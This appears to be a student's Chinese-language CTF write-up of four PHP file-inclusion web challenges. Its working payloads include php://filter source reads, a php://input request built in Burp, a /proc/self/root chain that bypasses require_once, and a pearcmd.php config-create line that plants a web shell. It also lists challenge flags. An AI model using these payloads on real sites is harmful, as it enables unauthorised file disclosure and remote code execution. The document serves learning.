Untitled

【Web Level1】张Sir_include_丁真

题目分析

这道题可以选择多个不同的丁真图片进行显示,题目中提示可以看地址的变化

题解

在切换图片时,可以发现这部分在不断变化

http://121.43.55.52:10086/?file=include%2F file2 .php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 当改为file6时出现了提示

此时我们把地址栏的 file6.php 改为 flag.php

查看页面代码得到提示

!–Hint:https://blackdn.github.io/2020/04/04/CTF-File-Inclusion-2020--

一个很有用的网址,这里存一下

https://blackdn.github.io/2020/04/04/CTF-File-Inclusion-2020/

打开后进入一个网站,本题我们需要的部分是php://fileter/

php://filter/是一种访问本地文件的协议 当它与包含函数(常为include())结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而实现任意文件读取

构造方法

?file=php://filter/read=convert.base64-encode/resource=index.php 解读

  1. /read=convert.base64-encode/表示对读取数据进行base64编码
  2. resource=index.php表示目标文件为index.php

对于本题地址,添加为

http://121.43.55.52:10086/?file=php://filter/read=convert.base64-encode/resource=include/flag.php&submit=提交查询

出现一串编码

PCFET0NUWVBFIGh0bWw+DQo8aGVhZD4NCjwvaGVhZD4NCjxib2R5Pg0KPCEtLUhpbnQ6aHR0cHM6Ly9ibGFja2RuLmdpdGh1Yi5pby8yMDIwLzA0LzA0L0NURi1GaWxlLUluY2x1c2lvbi0yMDIwLy0tIT4NCjwvYm9keT4NCjxodG1sPg0KPD9waHANCmVjaG8gIk9oaGhoaGggeW91IGZpbmQgbXkgc2VjcmV0ICE8YnI+IjsNCmVjaG8gImZsYWcgaXMgaGVyZSx0cnkgdG8gZmluZCBpdDxicj4iOw0KZWNobyAicHJlc3MgRjEyIHRvIGdldCBoaW50PGJyPiI7DQovL2ZsYWd7Yjc5YTJmNTAtMjlkNi00YjhiLTllYWItMTU4OWU4MjEyN2JhfQo=

可以知道这是base64编码

解码得到可以得到本题的源码

1
2
3
4
5
6
7
8
9
10
11
12
 <!DOCTYPE html>
 <head>
 </head>
 <body>
 <!--Hint:https://blackdn.github.io/2020/04/04/CTF-File-Inclusion-2020/--!>
 </body>
 <html>
 <?php
 echo "Ohhhhhh you find my secret !<br>";
 echo "flag is here,try to find it<br>";
 echo "press F12 to get hint<br>";
 //flag{09a81fd5-2f00-4a44-9cd8-3035b63888a5}

得到flag

flag{09a81fd5-2f00-4a44-9cd8-3035b63888a5}

解题心得

这道题初步开始接触include漏洞, 并运用了php伪协议的知识, 对URL的内容划分有了更细致的了解

【Web Level 1】eazy include

题目分析

先阅读代码, 对代码进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
 header("Content-type:text/html;charset=utf-8");
 ini_set('display_errors', '0');
 show_source(__FILE__);
 error_reporting(0);
 echo("正如你所见,我我已经把flag.php包含进去了。但是你得先过一关才能拿到flag\n" );
 echo("你知道什么是php伪协议吗?(友情提示最好用burp传参\n)");
 $a= $_GET["a"];
 if(isset($a)&&(file_get_contents($a,'r')) === 'an easy include'){

     include("flag.php");
     echo($flag);
 

 }

1.前四行内容能明白个大概, 不是太了解表示的什么意思

2.两个echo语句输出题目提示, 还是php伪协议的知识, 并且利用burp进行传参

3.定义一个 $a变量, 通过GET传参的方式进行赋值

4.一个if判断语句 isset($a) : 判断$a是否存在, 且赋值不为NULL类型。该函数的作用是确保 $a存在 file_get_contents($a, ‘r’) : 将整个文件读入一个字符串中 === : 严格比较, 值和类型都要相同

5.满足if条件后, 将flag.php文件包含进来, 并打印$flag变量(即题解flag)

题解

首先启动burp, 进入Proxy(代理)模块, 对网址进行拦截 再发送到Repeater模块 这道题中有一个关键的比较关键的函数file_get_contents(), 遇到这个函数时可以利用php://input进行绕过

1
2
3
4
5
6
7
8
 GET / HTTP/1.1
 Host: 121.43.55.52:10065
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate
 Connection: close
 Upgrade-Insecure-Requests: 1

我们使用get传参的方式进行传参

1.在GET后面添加?a=php://input 2.在末尾进行传参, an easy include

1
2
3
4
5
6
7
8
9
10
11
 GET /?a=php://input HTTP/1.1
 Host: 121.43.55.52:10065
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate
 Connection: close
 Upgrade-Insecure-Requests: 1
 Content-Length: 15
 
 an easy include

点击send按钮, 在Response部分得到flag

flag{I_know-that!!!you)got_It}

解题心得

通过这道题目, 学习了php://input的知识, 并且练习了burp的使用, 大概了解了Proxy模块, Repeater模块的用法。但是关于如何传参以及怎样是GET传参, 怎样是POST传参还是不太明白, 只知道在末尾加an easy include就是传参了, 对这个过程的运行不够了解

PS:部分版本burp有光标偏移的问题, 一个解决办法是将字体设置为楷体, 字号改为16

1.选择User options

2.选择Display 3.在HTTP Message Display里面, 将Font修改为 楷体 16pt 可以完美解决光标偏移问题

【Web Level3】EZ_require_once

题目分析

首先分析代码

1
2
3
4
5
6
 <?php
 highlight_file(__FILE__);
 require_once '/flag.php';
 if(isset($_GET['fi_le'])) {
     require_once $_GET['fi_le'];
 }

这部分涉及到一个比较关键的函数是require_once

1.include() : 包含并运行指定文件

2.require() : 同include,但是处理失败的方式,require在出错时会产生 E_COMPILE_ERROR 级别的错误,include只会产生E_WARNING级别的警告

3.include_once() : 同include, 检查该文件是否已经被包含过,如果是则不会再次包含.

4.require_once() : 同require, 检查该文件是否已经被包含过,如果是则不会再次包含.

以上四个函数在文件包含中用到的比较多, 这道题考察的是如何跨过once的检测

题解

有一个小技巧/proc/self/root/就是指向/的链接, 然后在后面加多个/proc/self/root/的循环, 就可以绕过once函数了

http://121.43.55.52:10030/?fi_le=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag.php

很神奇, 不知道原理是什么, 私自猜测原因与get传参有字符限制有关, get传参一个参数最多只能传入固定最大值(好像是2000)以内的字符量, 通过多个/proc/self/root/的循环, 超过这个最大值, 因此使once的包含判断失效

之后得到一堆base64编码, 将其解码 拿到flag flag{d436eb0-d9de10b5-a828ce643-f7e81}

解题心得

文件包含漏洞一般是挖掘include()以及require()函数的漏洞, 前两道题没有once的限制, 可以进行多次包含, once的限制使得我们需要绕过once对是否包含的检测, 难度陡然提升了

【Web level5】A_Good_Pear

题目分析

反反复复看了多遍周总结回放讲解, 仍然是一知半解, 从传y2参数和后面的命令开始, 逐渐听不懂,先简单记录一下解题的步骤

题解

  1. 进行burp抓包
  2. 先用伪协议php://input传入一个y1 = ‘PEAR’
  3. 显示成功
  4. 下面可以传入y2了
  5. 接下来连接蚁剑
  6. 找到flag结束

?y1=php://input&y2=/usr/local/lib/php/pearcmd.php&+config-create+/+/var/www/html/shell.php 里面不能有多余的空格 /<?后面不是php, 是=, 写php会失败(不清楚原因)

本周总结

对php中的很多函数还没有细致的了解,burp的使用不够熟练。下一步要把这两块补起来,建立好知识的框架

多线程条件竞争脚本